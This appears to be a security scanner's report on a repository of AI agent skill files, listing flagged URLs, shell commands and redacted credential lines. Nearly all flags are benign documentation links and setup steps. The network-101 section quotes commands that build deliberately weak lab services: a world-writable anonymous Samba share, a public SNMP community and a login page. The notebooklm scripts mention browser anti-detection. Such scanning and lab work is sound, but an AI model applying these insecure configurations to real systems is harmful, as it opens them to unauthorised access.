    - Solution priority: 1) Refactor module structure, 2) Use forwardRef, 3) Adjust provider scope - Tools: `nest generate module`, `nest generate service` - Resources: [Nest.js Modules](https://docs.nestjs.com/modules), [Providers](https://doc
  • Network accessline 37
    - Resources: [Nest.js Modules](https://docs.nestjs.com/modules), [Providers](https://docs.nestjs.com/providers)
  • Network accessline 42
    - Solution priority: 1) Fix decorator configuration, 2) Add validation, 3) Implement interceptors - Tools: `nest generate controller`, class-validator, class-transformer - Resources: [Controllers](https://docs.nestjs.com/controllers), [Vali
  • Network accessline 44
    - Resources: [Controllers](https://docs.nestjs.com/controllers), [Validation](https://docs.nestjs.com/techniques/validation)
  • Network accessline 49
    - Solution priority: 1) Fix execution order, 2) Handle async properly, 3) Implement error handling - Execution order: Middleware → Guards → Interceptors (before) → Pipes → Route handler → Interceptors (after) - Resources: [Middleware](https
  • Network accessline 51
    - Resources: [Middleware](https://docs.nestjs.com/middleware), [Guards](https://docs.nestjs.com/guards)
  • Network accessline 56
    - Solution priority: 1) Fix test module setup, 2) Mock dependencies correctly, 3) Handle async tests - Tools: `@nestjs/testing`, Jest, Supertest - Resources: [Testing](https://docs.nestjs.com/fundamentals/testing)
  • Network accessline 58
    - Resources: [Testing](https://docs.nestjs.com/fundamentals/testing)
  • Network accessline 64
    - TypeORM: `@nestjs/typeorm`, entity decorators, repository pattern - Mongoose: `@nestjs/mongoose`, schema decorators, model injection - Resources: [TypeORM](https://docs.nestjs.com/techniques/database), [Mongoose](https://docs.nestjs.com/t
  • Network accessline 66
    - Resources: [TypeORM](https://docs.nestjs.com/techniques/database), [Mongoose](https://docs.nestjs.com/techniques/mongodb)
  • Network accessline 71
    - Solution priority: 1) Configure Passport strategy, 2) Implement guards, 3) Handle JWT properly - Tools: `@nestjs/passport`, `@nestjs/jwt`, passport strategies - Resources: [Authentication](https://docs.nestjs.com/security/authentication),
  • Network accessline 73
    - Resources: [Authentication](https://docs.nestjs.com/security/authentication), [Authorization](https://docs.nestjs.com/security/authorization)
  • Network accessline 78
    - Solution priority: 1) Setup ConfigModule, 2) Add validation, 3) Handle async config - Tools: `@nestjs/config`, Joi validation - Resources: [Configuration](https://docs.nestjs.com/techniques/configuration)
  • Network accessline 80
    - Resources: [Configuration](https://docs.nestjs.com/techniques/configuration)
  • Network accessline 85
    - Solution priority: 1) Implement exception filters, 2) Configure logger, 3) Handle all errors - Tools: Built-in Logger, custom exception filters - Resources: [Exception Filters](https://docs.nestjs.com/exception-filters), [Logger](https://
  • Network accessline 87
    - Resources: [Exception Filters](https://docs.nestjs.com/exception-filters), [Logger](https://docs.nestjs.com/techniques/logger)
  • Access to secretsline 216
    [Credential-related source omitted]
  • Network accessline 481
    ### Core Documentation - [Nest.js Documentation](https://docs.nestjs.com)
  • Network accessline 482
    - [Nest.js Documentation](https://docs.nestjs.com)
  • Network accessline 483
    - [Nest.js CLI](https://docs.nestjs.com/cli/overview)
  • Network accessline 484
    - [Nest.js Recipes](https://docs.nestjs.com/recipes)
  • Network accessline 486
    ### Testing Resources - [Jest Documentation](https://jestjs.io/docs/getting-started)
  • Network accessline 487
    - [Jest Documentation](https://jestjs.io/docs/getting-started)
  • Network accessline 488
    - [Supertest](https://github.com/visionmedia/supertest)
  • Network accessline 489
    - [Testing Best Practices](https://github.com/goldbergyoni/javascript-testing-best-practices)
  • Network accessline 491
    ### Database Resources - [TypeORM Documentation](https://typeorm.io)
  • Network accessline 492
    - [TypeORM Documentation](https://typeorm.io)
  • Network accessline 493
    - [Mongoose Documentation](https://mongoosejs.com)
  • Network accessline 495
    ### Authentication - [Passport.js Strategies](http://www.passportjs.org)
  • Network accessline 496
    - [Passport.js Strategies](http://www.passportjs.org)
  • Network accessline 497
    - [JWT Best Practices](https://tools.ietf.org/html/rfc8725)
  • Network accessline 509
    {       provide: CONFIG_OPTIONS,       useValue: { apiUrl: 'https://api.example.com' }
  • Network accessline 510
    provide: CONFIG_OPTIONS,       useValue: { apiUrl: 'https://api.example.com' }     }
  • Network accessline 511
    useValue: { apiUrl: 'https://api.example.com' }

skills/network-101/SKILL.md

  • Dangerous shell operationline 49
    sudo apt update && sudo apt install apache2
  • Dangerous shell operationline 52
    sudo systemctl start apache2
  • Dangerous shell operationline 53
    sudo systemctl enable apache2
  • Dangerous shell operationline 56
    echo "<html><body><h1>Test Page</h1></body></html>" | sudo tee /var/www/html/index.html
  • Network accessline 58
    # Verify service curl http://localhost
  • Network accessline 59
    curl http://localhost
  • Dangerous shell operationline 66
    sudo ufw allow 80/tcp
  • Dangerous shell operationline 80
    sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  • Dangerous shell operationline 85
    sudo a2enmod ssl
  • Dangerous shell operationline 86
    sudo systemctl restart apache2
  • Dangerous shell operationline 93
    sudo nano /etc/apache2/sites-available/default-ssl.conf
  • Dangerous shell operationline 96
    sudo a2ensite default-ssl
  • Dangerous shell operationline 97
    sudo systemctl reload apache2
  • Network accessline 109
    # Check certificate curl -kv https://192.168.1.1
  • Network accessline 110
    curl -kv https://192.168.1.1
  • Dangerous shell operationline 121
    sudo apt install snmpd snmp
  • Dangerous shell operationline 124
    sudo nano /etc/snmp/snmpd.conf
  • Dangerous shell operationline 131
    sudo systemctl restart snmpd
  • Dangerous shell operationline 172
    sudo apt install samba
  • Dangerous shell operationline 175
    sudo mkdir -p /srv/samba/share
  • Dangerous shell operationline 176
    sudo chmod 777 /srv/samba/share
  • Dangerous shell operationline 179
    sudo nano /etc/samba/smb.conf
  • Dangerous shell operationline 189
    sudo systemctl restart smbd
  • Dangerous shell operationline 219
    sudo tail -f /var/log/apache2/access.log
  • Dangerous shell operationline 222
    sudo tail -f /var/log/apache2/error.log
  • Network accessline 253
    # Check HTTP curl -I http://target
  • Network accessline 254
    curl -I http://target
  • Network accessline 256
    # Check HTTPS curl -kI https://target
  • Network accessline 257
    curl -kI https://target
  • Dangerous shell operationline 291
    sudo apt install apache2
  • Dangerous shell operationline 292
    sudo systemctl start apache2
  • Dangerous shell operationline 295
    cat << 'EOF' | sudo tee /var/www/html/login.html
  • Dangerous shell operationline 308
    sudo ufw allow 80/tcp
  • Dangerous shell operationline 315
    sudo apt install snmpd
  • Dangerous shell operationline 316
    echo "rocommunity public" | sudo tee -a /etc/snmp/snmpd.conf
  • Dangerous shell operationline 317
    sudo systemctl restart snmpd
  • Dangerous shell operationline 327
    sudo apt install samba
  • Dangerous shell operationline 328
    sudo mkdir /srv/samba/anonymous
  • Dangerous shell operationline 329
    sudo chmod 777 /srv/samba/anonymous

skills/nextjs-app-router-patterns/resources/implementation-playbook.md

  • Network accessline 73
    // app/page.tsx - Server Component by default async function getProducts() {   const res = await fetch('https://api.example.com/products', {
  • Network accessline 74
    async function getProducts() {   const res = await fetch('https://api.example.com/products', {     next: { revalidate: 3600 }, // ISR: revalidate every hour
  • Network accessline 75
    const res = await fetch('https://api.example.com/products', {
  • Network accessline 133
    // components/products/ProductList.tsx - Server Component async function getProducts(filters: ProductFilters) {   const res = await fetch(
  • Network accessline 134
    async function getProducts(filters: ProductFilters) {   const res = await fetch(     `${process.env.API_URL}/products?${new URLSearchParams(filters)}`,
  • Network accessline 135
    const res = await fetch(
  • Network accessline 500
    // No cache (always fresh) fetch(url, { cache: 'no-store' })
  • Network accessline 501
    fetch(url, { cache: 'no-store' })
  • Network accessline 503
    // Cache forever (static) fetch(url, { cache: 'force-cache' })
  • Network accessline 504
    fetch(url, { cache: 'force-cache' })
  • Network accessline 506
    // ISR - revalidate after 60 seconds fetch(url, { next: { revalidate: 60 } })
  • Network accessline 507
    fetch(url, { next: { revalidate: 60 } })
  • Network accessline 509
    // Tag-based invalidation fetch(url, { next: { tags: ['products'] } })
  • Network accessline 510
    fetch(url, { next: { tags: ['products'] } })
  • Network accessline 541
    - [Next.js App Router Documentation](https://nextjs.org/docs/app)
  • Network accessline 542
    - [Server Components RFC](https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md)
  • Network accessline 543
    - [Vercel Templates](https://vercel.com/templates/next.js)

skills/nodejs-backend-patterns/resources/implementation-playbook.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 843
    [Credential-related source omitted]
  • Access to secretsline 864
    [Credential-related source omitted]
  • Access to secretsline 870
    [Credential-related source omitted]
  • Network accessline 1016
    - **Node.js Best Practices**: https://github.com/goldbergyoni/nodebestpractices
  • Network accessline 1017
    - **Express.js Guide**: https://expressjs.com/en/guide/
  • Network accessline 1018
    - **Fastify Documentation**: https://www.fastify.io/docs/
  • Network accessline 1019
    - **TypeScript Node Starter**: https://github.com/microsoft/TypeScript-Node-Starter

skills/notebooklm/.gitignore

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]

skills/notebooklm/AUTHENTICATION.md

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    Playwright/Patchright has a known bug ([#36139](https://github.com/microsoft/playwright/issues/36139)) where **session cookies** (cookies without an `Expires` attribute) do not persist correctly when using `launch_persistent_context()` with
  • Network accessline 37
    But **Python's Playwright API doesn't support this** ([#14949](https://github.com/microsoft/playwright/issues/14949)):
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 137
    - [microsoft/playwright#36139](https://github.com/microsoft/playwright/issues/36139) - Session cookies not persisting
  • Network accessline 138
    - [microsoft/playwright#14949](https://github.com/microsoft/playwright/issues/14949) - Storage state with persistent context
  • Network accessline 139
    - [StackOverflow Question](https://stackoverflow.com/questions/79641481/) - Session cookie persistence issue

skills/notebooklm/CHANGELOG.md

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
  • Network accessline 6
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

skills/notebooklm/LICENSE

  • Executable scriptline 1
    Executable file

skills/notebooklm/README.md

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    **Let [Claude Code](https://github.com/anthropics/claude-code) chat directly with NotebookLM for source-grounded answers based exclusively on your uploaded documents**
  • Network accessline 7
    [![Python](https://img.shields.io/badge/Python-3.8+-blue.svg)](https://www.python.org/)
  • Network accessline 8
    [![Claude Code Skill](https://img.shields.io/badge/Claude%20Code-Skill-purple.svg)](https://www.anthropic.com/news/skills)
  • Network accessline 9
    [![Based on](https://img.shields.io/badge/Based%20on-NotebookLM%20MCP-green.svg)](https://github.com/PleasePrompto/notebooklm-mcp)
  • Network accessline 10
    [![GitHub](https://img.shields.io/github/stars/PleasePrompto/notebooklm-skill?style=social)](https://github.com/PleasePrompto/notebooklm-skill)
  • Network accessline 14
    [Installation](#installation) • [Quick Start](#quick-start) • [Why NotebookLM](#why-notebooklm-not-local-rag) • [How It Works](#how-it-works) • [MCP Alternative](https://github.com/PleasePrompto/notebooklm-mcp)
  • Network accessline 22
    **This skill works ONLY with local [Claude Code](https://github.com/anthropics/claude-code) installations, NOT in the web UI.**
  • Network accessline 24
    The web UI runs skills in a sandbox without network access, which this skill requires for browser automation. You must use [Claude Code](https://github.com/anthropics/claude-code) locally on your machine.
  • Network accessline 30
    When you tell [Claude Code](https://github.com/anthropics/claude-code) to "search through my local documentation", here's what happens:
  • Network accessline 38
    This Claude Code Skill lets [Claude Code](https://github.com/anthropics/claude-code) chat directly with [**NotebookLM**](https://notebooklm.google/) — Google's **source-grounded knowledge base** powered by Gemini 2.5 that provides intellige
  • Network accessline 75
    # 2. Clone this repository cd ~/.claude/skills git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm
  • Network accessline 77
    git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm
  • Network accessline 113
    Go to [notebooklm.google.com](https://notebooklm.google.com) → Create notebook → Upload your docs:
  • Network accessline 147
    This is a **Claude Code Skill** - a local folder containing instructions and scripts that Claude Code can use when needed. Unlike the [MCP server version](https://github.com/PleasePrompto/notebooklm-mcp), this runs directly in Claude Code w
  • Access to secretsline 269
    [Credential-related source omitted]
  • Dangerous shell operationline 347
    rm -rf .venv
  • Network accessline 377
    This skill is inspired by my [**NotebookLM MCP Server**](https://github.com/PleasePrompto/notebooklm-mcp) and provides an alternative implementation as a Claude Code Skill:
  • Network accessline 382
    If you need: - **Persistent sessions** → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp)
  • Network accessline 383
    - **Persistent sessions** → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp)
  • Network accessline 384
    - **Multiple tool support** (Codex, Cursor) → Use the [MCP Server](https://github.com/PleasePrompto/notebooklm-mcp)
  • Network accessline 398
    # Get started in 30 seconds cd ~/.claude/skills git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm
  • Network accessline 399
    cd ~/.claude/skills git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm # Open Claude Code: "What are my skills?"
  • Network accessline 400
    git clone https://github.com/PleasePrompto/notebooklm-skill notebooklm
  • Network accessline 408
    Built as a Claude Code Skill adaptation of my [NotebookLM MCP Server](https://github.com/PleasePrompto/notebooklm-mcp)

skills/notebooklm/SKILL.md

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    Trigger when user: - Mentions NotebookLM explicitly - Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`)
  • Network accessline 15
    - Mentions NotebookLM explicitly - Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`) - Asks to query their notebooks/documentation
  • Network accessline 16
    - Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`)
  • Network accessline 93
    # Add notebook to library (ALL parameters are REQUIRED!) python scripts/run.py notebook_manager.py add \   --url "https://notebooklm.google.com/notebook/..." \
  • Network accessline 94
    python scripts/run.py notebook_manager.py add    --url "https://notebooklm.google.com/notebook/..."
  • Network accessline 95
    --url "https://notebooklm.google.com/notebook/..." \
  • Network accessline 123
    # Query with notebook URL directly python scripts/run.py ask_question.py --question "..." --notebook-url "https://..."
  • Network accessline 124
    python scripts/run.py ask_question.py --question "..." --notebook-url "https://..."
  • Access to secretsline 198
    [Credential-related source omitted]

skills/notebooklm/references/api_reference.md

  • Executable scriptline 1
    Executable file
  • Network accessline 29
    # With direct URL python scripts/run.py ask_question.py --question "..." --notebook-url "https://..."
  • Network accessline 30
    python scripts/run.py ask_question.py --question "..." --notebook-url "https://..."
  • Network accessline 50
    # Then add with discovered info python scripts/run.py notebook_manager.py add \   --url "https://notebooklm.google.com/notebook/..." \
  • Network accessline 51
    python scripts/run.py notebook_manager.py add    --url "https://notebooklm.google.com/notebook/..."
  • Network accessline 52
    --url "https://notebooklm.google.com/notebook/..." \
  • Network accessline 57
    # Direct add (when you know the content) python scripts/run.py notebook_manager.py add \   --url "https://notebooklm.google.com/notebook/..." \
  • Network accessline 58
    python scripts/run.py notebook_manager.py add    --url "https://notebooklm.google.com/notebook/..."
  • Network accessline 59
    --url "https://notebooklm.google.com/notebook/..." \
  • Access to secretsline 191
    [Credential-related source omitted]

skills/notebooklm/references/troubleshooting.md

  • Executable scriptline 1
    Executable file
  • Network accessline 146
    # Add notebook if missing python scripts/run.py notebook_manager.py add \   --url "https://notebooklm.google.com/..." \
  • Network accessline 147
    python scripts/run.py notebook_manager.py add    --url "https://notebooklm.google.com/..."
  • Network accessline 148
    --url "https://notebooklm.google.com/..." \
  • Network accessline 208
    # Use proxy if needed export HTTP_PROXY=http://proxy:port
  • Network accessline 209
    export HTTP_PROXY=http://proxy:port
  • Network accessline 210
    export HTTPS_PROXY=http://proxy:port
  • Dangerous shell operationline 226
    rm ~/.claude/skills/notebooklm/data/library.json
  • Dangerous shell operationline 291
    rm -rf .venv
  • Dangerous shell operationline 307
    rm -rf .venv

skills/notebooklm/references/usage_patterns.md

  • Executable scriptline 1
    Executable file
  • Network accessline 29
    # Ask: "What topics should I tag it with?" python scripts/run.py notebook_manager.py add \   --url "https://notebooklm.google.com/notebook/..." \
  • Network accessline 30
    python scripts/run.py notebook_manager.py add    --url "https://notebooklm.google.com/notebook/..."
  • Network accessline 31
    --url "https://notebooklm.google.com/notebook/..." \

skills/notebooklm/requirements.txt

  • Executable scriptline 1
    Executable file

skills/notebooklm/scripts/__init__.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/notebooklm/scripts/ask_question.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 7
    - Persistent browser profile (user_data_dir) for fingerprint consistency - Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139
  • Network accessline 8
    - Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139 """
  • Network accessline 9
    See: https://github.com/microsoft/playwright/issues/36139
  • Network accessline 80
    page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=10000)

skills/notebooklm/scripts/auth_manager.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 8
    - Persistent browser profile (user_data_dir) for fingerprint consistency - Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139
  • Network accessline 9
    - Manual cookie injection from state.json for session cookies (Playwright bug workaround) See: https://github.com/microsoft/playwright/issues/36139 """
  • Network accessline 10
    See: https://github.com/microsoft/playwright/issues/36139
  • Network accessline 113
    page = context.new_page()             page.goto("https://notebooklm.google.com", wait_until="domcontentloaded")
  • Network accessline 114
    page.goto("https://notebooklm.google.com", wait_until="domcontentloaded")
  • Network accessline 128
    timeout_ms = int(timeout_minutes * 60 * 1000)                 page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=timeout_ms)
  • Network accessline 129
    page.wait_for_url(re.compile(r"^https://notebooklm\.google\.com/"), timeout=timeout_ms)
  • Network accessline 259
    page = context.new_page()             page.goto("https://notebooklm.google.com", wait_until="domcontentloaded", timeout=30000)
  • Network accessline 260
    page.goto("https://notebooklm.google.com", wait_until="domcontentloaded", timeout=30000)

skills/notebooklm/scripts/browser_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/notebooklm/scripts/browser_utils.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 41
    [Credential-related source omitted]

skills/notebooklm/scripts/cleanup_manager.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Instruction override signalline 260
    '--force',         action='store_true',         help='Skip confirmation prompt'
  • Instruction override signalline 261
    action='store_true',         help='Skip confirmation prompt'     )
  • Instruction override signalline 262
    help='Skip confirmation prompt'

skills/notebooklm/scripts/config.py

  • Executable scriptline 1
    Executable file

skills/notebooklm/scripts/notebook_manager.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/notebooklm/scripts/run.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/notebooklm/scripts/setup_environment.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 70
    # Install Chrome for Patchright (not Chromium!)                 # Using real Chrome ensures cross-platform reliability and consistent browser fingerprinting                 # See: https://github.com/Kaliiiiiiiiii-Vinyzu/patchright-python#an
  • Network accessline 72
    # See: https://github.com/Kaliiiiiiiiii-Vinyzu/patchright-python#anti-detection

skills/notion-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/nx-workspace-patterns/SKILL.md

  • Access to secretsline 355
    [Credential-related source omitted]
  • Network accessline 464
    - [Nx Documentation](https://nx.dev/getting-started/intro)
  • Network accessline 465
    - [Module Boundaries](https://nx.dev/core-features/enforce-module-boundaries)
  • Network accessline 466
    - [Nx Cloud](https://nx.app/)

skills/observability-monitoring-monitor-setup/resources/implementation-playbook.md

  • Network accessline 188
    constructor(serviceName: string, environment: string) {         const jaegerExporter = new JaegerExporter({             endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces',
  • Network accessline 189
    const jaegerExporter = new JaegerExporter({             endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces',         });
  • Network accessline 190
    endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces',
  • Access to secretsline 399
    [Credential-related source omitted]
  • Network accessline 475
    name = "Prometheus"       type = "prometheus"       url  = "http://prometheus:9090"
  • Network accessline 476
    type = "prometheus"       url  = "http://prometheus:9090"     }
  • Network accessline 477
    url  = "http://prometheus:9090"

skills/observability-monitoring-slo-implement/resources/implementation-playbook.md

  • Network accessline 968
    annotations:     runbook: https://runbooks.example.com/api-availability
  • Network accessline 969
    runbook: https://runbooks.example.com/api-availability
  • Network accessline 970
    dashboard: https://grafana.example.com/d/api-slo

skills/observe-whatsapp/SKILL.md

  • Network accessline 2
    name: observe-whatsapp description: "Observe and troubleshoot WhatsApp in Kapso: debug message delivery, inspect webhook deliveries/retries, triage API errors, and run health checks. Use when investigating production issues, message f..." s
  • Network accessline 3
    description: "Observe and troubleshoot WhatsApp in Kapso: debug message delivery, inspect webhook deliveries/retries, triage API errors, and run health checks. Use when investigating production issues, message f..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/gokapso/agent-skills/tree/master/skills/observe-whatsapp"
  • Access to secretsline 18
    [Credential-related source omitted]

skills/obsidian-clipper-template-creator/SKILL.md

  • Network accessline 60
    - [Variables](https://help.obsidian.md/web-clipper/variables)
  • Network accessline 61
    - [Filters](https://help.obsidian.md/web-clipper/filters)
  • Network accessline 62
    - [Templates](https://help.obsidian.md/web-clipper/templates)

skills/obsidian-clipper-template-creator/references/analysis-workflow.md

  • Network accessline 10
    WebFetch(url="https://example.com/recipe/chocolate-cake")
  • Network accessline 22
    <script type="application/ld+json"> {   "@context": "https://schema.org/",
  • Network accessline 23
    {   "@context": "https://schema.org/",   "@type": "Recipe",
  • Network accessline 24
    "@context": "https://schema.org/",

skills/obsidian-clipper-template-creator/references/filters.md

  • Network accessline 3
    **Official Docs:** [help.obsidian.md/web-clipper/filters](https://help.obsidian.md/web-clipper/filters)

skills/obsidian-clipper-template-creator/references/json-schema.md

  • Network accessline 34
    *   For `append-specific` behavior: The *full file path* of the note to append to (e.g., `Databases/Recipes.md`). *   **`triggers`**: Array of strings to automatically select this template.     *   **URL Patterns**: `["https://www.youtube.c
  • Network accessline 35
    *   **`triggers`**: Array of strings to automatically select this template.     *   **URL Patterns**: `["https://www.youtube.com/watch"]` (Simple string or Regex).     *   **Schema Types**: `["schema:Recipe"]` (Triggers if the page contains
  • Network accessline 36
    *   **URL Patterns**: `["https://www.youtube.com/watch"]` (Simple string or Regex).

skills/obsidian-clipper-template-creator/references/variables.md

  • Network accessline 3
    **Official Docs:** [help.obsidian.md/web-clipper/variables](https://help.obsidian.md/web-clipper/variables)

skills/on-call-handoff-patterns/SKILL.md

  • Network accessline 96
    **Resources**: - Dashboard: [API Latency](https://grafana/d/api-latency)
  • Network accessline 97
    - Dashboard: [API Latency](https://grafana/d/api-latency)
  • Network accessline 116
    **Resources**: - Dashboard: [Auth Service Memory](https://grafana/d/auth-memory)
  • Network accessline 117
    - Dashboard: [Auth Service Memory](https://grafana/d/auth-memory)
  • Network accessline 118
    - Analysis doc: [Memory Investigation](https://docs/eng-1235)
  • Network accessline 126
    - **Root Cause**: Database connection exhaustion - **Resolution**: Rolled back v2.3.4, increased pool size - **Postmortem**: [POSTMORTEM-89](https://docs/postmortem-89)
  • Network accessline 127
    - **Resolution**: Rolled back v2.3.4, increased pool size - **Postmortem**: [POSTMORTEM-89](https://docs/postmortem-89) - **Follow-up tickets**: ENG-1230, ENG-1231
  • Network accessline 128
    - **Postmortem**: [POSTMORTEM-89](https://docs/postmortem-89)
  • Network accessline 204
    ### Important Links - [Runbooks](https://wiki/runbooks)
  • Network accessline 205
    - [Runbooks](https://wiki/runbooks)
  • Network accessline 206
    - [Service Catalog](https://wiki/services)
  • Network accessline 207
    - [Incident Slack](https://slack.com/incidents)
  • Network accessline 208
    - [PagerDuty](https://pagerduty.com/schedules)
  • Network accessline 298
    ## Resources - Incident channel: #inc-20240122-payment - Dashboard: [Payment Service](https://grafana/d/payments)
  • Network accessline 299
    - Incident channel: #inc-20240122-payment - Dashboard: [Payment Service](https://grafana/d/payments) - Runbook: [Payment Degradation](https://wiki/runbooks/payments)
  • Network accessline 300
    - Dashboard: [Payment Service](https://grafana/d/payments)
  • Network accessline 301
    - Runbook: [Payment Degradation](https://wiki/runbooks/payments)
  • Network accessline 453
    - [Google SRE - Being On-Call](https://sre.google/sre-book/being-on-call/)
  • Network accessline 454
    - [PagerDuty On-Call Guide](https://www.pagerduty.com/resources/learn/on-call-management/)
  • Network accessline 455
    - [Increment On-Call Issue](https://increment.com/on-call/)

skills/one-drive-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/openapi-spec-generation/resources/implementation-playbook.md

  • Network accessline 26
    version: 1.0.0 servers:   - url: https://api.example.com/v1
  • Network accessline 27
    servers:   - url: https://api.example.com/v1 paths:
  • Network accessline 28
    - url: https://api.example.com/v1
  • Network accessline 64
    name: API Support     email: api-support@example.com     url: https://docs.example.com
  • Network accessline 65
    email: api-support@example.com     url: https://docs.example.com   license:
  • Network accessline 66
    url: https://docs.example.com
  • Network accessline 67
    license:     name: MIT     url: https://opensource.org/licenses/MIT
  • Network accessline 69
    url: https://opensource.org/licenses/MIT
  • Network accessline 71
    servers:   - url: https://api.example.com/v2
  • Network accessline 72
    - url: https://api.example.com/v2
  • Network accessline 73
    description: Production   - url: https://staging-api.example.com/v2     description: Staging
  • Network accessline 74
    - url: https://staging-api.example.com/v2
  • Network accessline 75
    description: Staging   - url: http://localhost:3000/v2     description: Local development
  • Network accessline 76
    - url: http://localhost:3000/v2
  • Network accessline 530
    ],     servers=[         {"url": "https://api.example.com/v2", "description": "Production"},
  • Network accessline 531
    servers=[         {"url": "https://api.example.com/v2", "description": "Production"},         {"url": "http://localhost:8000", "description": "Development"},
  • Network accessline 532
    {"url": "https://api.example.com/v2", "description": "Production"},
  • Network accessline 533
    {"url": "http://localhost:8000", "description": "Development"},
  • Network accessline 967
    languages:         - lang: curl         - lang: python
  • Network accessline 968
    - lang: curl         - lang: python         - lang: javascript
  • Network accessline 1024
    - [OpenAPI 3.1 Specification](https://spec.openapis.org/oas/v3.1.0)
  • Network accessline 1025
    - [Swagger Editor](https://editor.swagger.io/)
  • Network accessline 1026
    - [Redocly](https://redocly.com/)
  • Network accessline 1027
    - [Spectral](https://stoplight.io/open-source/spectral)

skills/oss-hunter/SKILL.md

  • Network accessline 3
    description: "Automatically hunt for high-impact OSS contribution opportunities in trending repositories." risk: safe source: https://github.com/jackjin1997/ClawForge
  • Network accessline 4
    risk: safe source: https://github.com/jackjin1997/ClawForge metadata: {"openclaw":{"emoji":"🎯","category":"developer"}}
  • Network accessline 5
    source: https://github.com/jackjin1997/ClawForge
  • Network accessline 73
    Build a better hunter by adding new heuristics to Phase 3. Submit your improvements to the [ClawForge](https://github.com/jackjin1997/ClawForge).

skills/oss-hunter/bin/hunter.py

  • Executable scriptline 1
    Executable file

skills/outlook-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/outlook-calendar-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/pagerduty-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/paypal-integration/SKILL.md

  • Network accessline 73
    <script src="https://www.paypal.com/sdk/js?client-id=YOUR_CLIENT_ID&currency=USD"></script>
  • Network accessline 90
    // Send to backend for verification         fetch('/api/paypal/capture', {
  • Network accessline 91
    fetch('/api/paypal/capture', {
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 141
    [Credential-related source omitted]
  • Network accessline 142
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Network accessline 143
    self.base_url = 'https://api-m.sandbox.paypal.com' if mode == 'sandbox' else 'https://api-m.paypal.com'
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Network accessline 151
    response = requests.post(
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 178
    response = requests.post(url, headers=headers, json=payload)
  • Access to secretsline 186
    [Credential-related source omitted]
  • Network accessline 189
    response = requests.post(url, headers=headers)
  • Access to secretsline 196
    [Credential-related source omitted]
  • Network accessline 199
    response = requests.get(url, headers=headers)
  • Network accessline 242
    # Send back to PayPal for verification     paypal_url = 'https://ipnpb.sandbox.paypal.com/cgi-bin/webscr'  # or production URL
  • Network accessline 243
    paypal_url = 'https://ipnpb.sandbox.paypal.com/cgi-bin/webscr'  # or production URL
  • Network accessline 245
    response = requests.post(paypal_url, data=verify_data)
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 293
    [Credential-related source omitted]
  • Network accessline 325
    response = requests.post(url, headers=headers, json=payload)
  • Access to secretsline 330
    [Credential-related source omitted]
  • Access to secretsline 335
    [Credential-related source omitted]
  • Network accessline 342
    },         "application_context": {             "return_url": "https://yourdomain.com/subscription/success",
  • Network accessline 343
    "application_context": {             "return_url": "https://yourdomain.com/subscription/success",             "cancel_url": "https://yourdomain.com/subscription/cancel"
  • Network accessline 344
    "return_url": "https://yourdomain.com/subscription/success",
  • Network accessline 345
    "cancel_url": "https://yourdomain.com/subscription/cancel"
  • Network accessline 349
    response = requests.post(url, headers=headers, json=payload)
  • Access to secretsline 366
    [Credential-related source omitted]
